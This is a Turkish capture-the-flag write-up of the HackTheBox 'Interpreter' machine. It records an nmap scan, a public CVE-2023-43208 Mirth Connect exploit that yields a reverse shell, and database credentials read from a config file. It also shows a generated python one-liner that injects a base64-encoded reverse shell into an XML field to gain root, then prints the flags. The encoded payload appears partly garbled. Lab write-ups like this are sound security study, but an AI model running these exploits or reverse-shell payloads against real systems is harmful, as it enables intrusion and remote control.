

HackTheBox Interpreter

Herkese merhabalar bugün Hackthebox dan Interpreter makinesini çözeceğiz.

Hemen nmap taramasıyla işe başlıyorum.

```
└─$ nmap 10.129.244.184
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-04 22:15 +03
Nmap scan report for Interpreter.htb (10.129.244.184)
Host is up (0.076s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
443/tcp   open  https
```

Ayrıca sitede mirth bağlantısı kullanıldığını görüyorum ve buradan ilerleyip Shell almak aklıma gelen ilk şey oluyor.

Araştırma sonucunda CVE-2023-43208 ile Shell alabileceğimi görüyorum.

```
└─$ git clone https://github.com/K3ysTr0K3R/CVE-2023-43208-EXPLOIT
Klonlama konumu: 'CVE-2023-43208-EXPLOIT' ...
remote: Enumerating objects: 36, done.
remote: Counting objects: 100% (36/36), done.
remote: Compressing objects: 100% (28/28), done.
remote: Total 36 (delta 6), reused 21 (delta 4), pack-reused 0 (from 0)
Nesneler alınıyor: 100% (36/36), 15.28 KiB | 248.00 KiB/sn, bitti.
Deltalar çözülüyor: 100% (6/6), bitti.

└─(root@kali)~[/home/mehmet/Masaüstü]
└─$ cd CVE-2023-43208-EXPLOIT

└─(root@kali)~[/home/mehmet/Masaüstü/CVE-2023-43208-EXPLOIT]
└─$ ls -la
toplam 36
drwxrwxr-x 3 root root 4096 Mar 4 22:24 .
drwxr-xr-x 5 mehmet mehmet 4096 Mar 4 22:24 ..
-rw-rw-r-- 1 root root 13297 Mar 4 22:24 CVE-2023-43208.py
drwxrwxr-x 7 root root 4096 Mar 4 22:24 .git
-rw-rw-r-- 1 root root 2638 Mar 4 22:24 README.md
```

Hemen exploiti kuruyorum.

```
python3 CVE-2023-43208.py -u https://10.129.244.184 -lh 10.10.14.89 -lp 4445

[*]
[*]
[*]
[*]
[*]

[+] Coded By: K3ysTr0K3R and Chocapikk ( NSA, we're still waiting :D )

[*] Setting up listener on 10.10.14.89:4445 and launching exploit...
Exception in thread Thread-1 (start_listener):
Traceback (most recent call last):
  File "/usr/lib/python3.13/threading.py", line 1043, in _bootstrap_inner
    self.run()
    ~~~~~^
  File "/usr/lib/python3.13/threading.py", line 994, in run
    self._target(*self._args, **self._kwargs)
    ~~~~~^~~~~~
  File "/home/mehmet/Masaüstü/CVE-2023-43208-EXPLOIT/CVE-2023-43208.py", line 50, in start_listener
    with socket.create_server(("0.0.0.0", int(self.rshell_port))) as listener:
           ~~~~~^~~~~~
  File "/usr/lib/python3.13/socket.py", line 949, in create_server
    raise error(err.errno, msg) from None
```

Portu açıp bu kodu çalıştırınca Shell alıyorum.

```
listening on [any] 4445 ...
connect to [10.10.14.89] from (UNKNOWN) [10.129.244.184] 53156
whoami
mirth
python3 -c 'import pty; pty.spawn("/bin/bash")'
mirth@interpreter:/usr/local/mirthconnect$ ls
ls
client-lib  logs          mirth-server-launcher.jar  server-lib
conf        mcserver      preferences                uninstall
custom-lib  mcserver.vmoptions  public_api_html           webapps
docs        mcservice     public_html
extensions  mcservice.vmoptions  server-launcher-lib
mirth@interpreter:/usr/local/mirthconnect$ cd
cd
bash: cd: /nonexistent: No such file or directory
mirth@interpreter:/usr/local/mirthconnect$ ls -la
ls -la
total 144
drwxr-xr-x 14 mirth mirth  4096 Feb 16 15:42 .
drwxr-xr-x 11 root  root   4096 Feb 16 15:42 ..
drwxr-xr-x  2 mirth mirth  4096 Feb 16 15:42 client-lib
drwxr-xr-x  2 mirth mirth  4096 Feb 16 15:42 conf
drwxr-xr-x  2 mirth mirth  4096 Feb 16 15:42 custom-lib
drwxr-xr-x  4 mirth mirth  4096 Feb 16 15:42 docs
drwxr-xr-x 43 mirth mirth  4096 Feb 16 15:42 extensions
drwxr-xr-x  3 mirth mirth  4096 Feb 16 15:42 .install4j
drwxr-xr-x  2 mirth mirth  4096 Feb 16 15:42 logs
-rwxr-xr-x  1 mirth mirth 14867 Jul 18  2023 mcserver
-rwxr-xr-x  1 mirth mirth   69 Jul 18  2023 mcserver.vmoptions
```

```
total 144
drwxr-xr-x 14 mirth mirth 4096 Feb 16 15:42 .
drwxr-xr-x 11 root root 4096 Feb 16 15:42 ..
drwxr-xr-x 2 mirth mirth 4096 Feb 16 15:42 client-lib
drwxr-xr-x 2 mirth mirth 4096 Feb 16 15:42 conf
drwxr-xr-x 2 mirth mirth 4096 Feb 16 15:42 custom-lib
drwxr-xr-x 4 mirth mirth 4096 Feb 16 15:42 docs
drwxr-xr-x 43 mirth mirth 4096 Feb 16 15:42 extensions
drwxr-xr-x 3 mirth mirth 4096 Feb 16 15:42 .install4j
drwxr-xr-x 2 mirth mirth 4096 Feb 16 15:42 logs
-rwxr-xr-x 1 mirth mirth 14867 Jul 18 2023 mcserver
-rwxr-xr-x 1 mirth mirth 69 Jul 18 2023 mcserver.vmoptions
-rwxr-xr-x 1 mirth mirth 18320 Jul 18 2023 mcservice
-rwxr-xr-x 1 mirth mirth 69 Jul 18 2023 mcservice.vmoptions
-rwxr-xr-x 1 mirth mirth 16803 Jul 18 2023 mirth-server-launcher.jar
-rwxr-xr-x 1 mirth mirth 1261 Sep 19 08:49 preferences
drwxr-xr-x 7 mirth mirth 4096 Feb 16 15:42 public_api_html
drwxr-xr-x 6 mirth mirth 4096 Feb 16 15:42 public_html
drwxr-xr-x 2 mirth mirth 4096 Feb 16 15:42 server-launcher-lib
drwxr-xr-x 14 mirth mirth 4096 Feb 16 15:42 server-lib
-rwxr-xr-x 1 mirth mirth 16765 Jul 18 2023 uninstall
drwxr-xr-x 2 mirth mirth 4096 Feb 16 15:42 webapps
mirth@interpreter:/usr/local/mirthconnect$ echo $HOME
```

```
mirth@interpreter:/tmp$ cat mirth.properties
cat mirth.properties
cat: mirth.properties: No such file or directory
mirth@interpreter:/tmp$ cd
cd
bash: cd: /nonexistent: No such file or directory
mirth@interpreter:/tmp$ cd /usr/local/mirthconnect/conf
cd /usr/local/mirthconnect/conf
mirth@interpreter:/usr/local/mirthconnect/conf$ ls
ls
dbdrivers.xml log4j2.properties mirth.properties
mirth@interpreter:/usr/local/mirthconnect/conf$ cat mirth.properties
cat mirth.properties
# Mirth Connect configuration file

# directories
dir.appdata = /var/lib/mirthconnect
dir.tempdata = ${dir.appdata}/temp

# ports
http.port = 80
https.port = 443

# password requirements
password.minlength = 0
password.minupper = 0
password.minlower = 0
password.minnumeric = 0
password.minspecial = 0
password.retrylimit = 0
```

Burada Shell içinde gezinirken mirth.properties i yakalıyorum ve içine girince db verileri geliyor.

```
# examples:
# Derby                                jdbc:derby:${dir.appdata}/mirthdb;create=true
# PostgreSQL                          jdbc:postgresql://localhost:5432/mirthdb
# MySQL                               jdbc:mysql://localhost:3306/mirthdb
# Oracle                              jdbc:oracle:thin:@localhost:1521:DB
# SQL Server/Sybase (jTDS)            jdbc:jtds:sqlserver://localhost:1433/mirthdb
# Microsoft SQL Server                jdbc:sqlserver://localhost:1433;databaseName=mirthdb
# If you are using the Microsoft SQL Server driver, please also specify database.driver below
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod

# If using a custom or non-default driver, specify it here.
# example:
# Microsoft SQL server: database.driver = com.microsoft.sqlserver.jdbc.SQLServerDriver
# (Note: the jTDS driver is used by default for sqlserver)
database.driver = org.mariadb.jdbc.Driver

# Maximum number of connections allowed for the main read/write connection pool
database.max-connections = 20
# Maximum number of connections allowed for the read-only connection pool
database-readonly.max-connections = 20

# database credentials
database.username = mirthdb
database.password = MirthPass123!

#On startup, Maximum number of retries to establish database connections in case of failure
database.connection.maxretry = 2

#On startup, Maximum wait time in milliseconds for retry to establish database connections in case
of failure
```

Ama bu verilerle bir şey elde edemiyoruz.

Ama telaş yapmayıp arka planda çalışan notify.py servisini görüyoruz. . Pickle kütüphanesi, veriyi geri açarken içine gizlenmiş komutları sorgusuzca çalıştırdığı için büyük bir güvenlik açığı oluşturuyor.

Bizde bunun için payload_gen.py adında bir script oluşturuyoruz ve bu scriptin hedefin bizim ip mize 9004 portu üzerinden bağlanmasını bekliyoruz. Bunun için gerekli payloadı scriptimize yazıyoruz ve Shell alıp flagleri çekiyoruz.

```
python3 payload_gen.py
Reverse Shell Payload Generator
Input Target IP: 10.10.14.89
Input Target Port: 9004

Generated Payload:

python3 -c 'import urllib.request; b64="aW1wb3J0IHNVY2tldCxcycxwdHk7cz1zb2NrZXQuc29ja2V0KCK7cy5jb25uZWNOKCgiMTAuMTAuMTQuODkiLDkwMDQpKTRvcy5kdXAyKHMuZmZw5vKCKsMCK7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmRlcDIocy5maWxlbm8oKSwwyKTtwdHkuc3Bhd24oIi9iaW4vYmFzaCIp"; inj="{exec(__import__(\"base64\").b64decode(\"aW1wb3J0IHNVY2tldCxcycxwdHk7cz1zb2NrZXQuc29ja2V0KCK7cy5jb25uZWNOKCgiMTAuMTAuMTQuODkiLDkwMDQpKTRvcy5kdXAyKHMuZmZw5vKCKsMCK7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmRlcDIocy5maWxlbm8oKSwwyKTtwdHkuc3Bhd24oIi9iaW4vYmFzaCIp\").decode())}"; xml="<patient><firstname>"+inj+"</firstname><lastname>Doe</lastname><timestamp>2026</timestamp><sender_app>P</sender_app><id>1</id><birth_date>01/01/1990</birth_date><gender>M</gender></patient>"; req=urllib.request.Request("http://127.0.0.1:54321/addPatient",data=xml.encode(),headers={"Content-Type":"application/xml"}); urllib.request.urlopen(req)'
```

```
nc -lvnp 9004
listening on [any] 9004 ...
connect to [10.10.14.89] from (UNKNOWN) [10.129.244.184] 38070
root@interpreter:/usr/local/bin# ls
ls
notif.py
root@interpreter:/usr/local/bin# cd
cd
root@interpreter:~# ls
ls
root.txt
root@interpreter:~# cat root.txt
cat root.txt
7e87105dbbb9addb6f382a5221c8c528
root@interpreter:~# ls -la /home
ls -la /home
total 12
drwxr-xr-x 3 root root 4096 Aug 7 2025 .
drwxr-xr-x 19 root root 4096 Feb 16 15:42 ..
drwx----- 3 sedric sedric 4096 Feb 12 08:46 sedric
root@interpreter:~# cd /home/sedric
cd /home/sedric
root@interpreter:/home/sedric# ls
ls
user.txt
root@interpreter:/home/sedric# cat user.txt
cat user.txt
1b923cea1175463d5cea5497e874b6e6
root@interpreter:/home/sedric#
```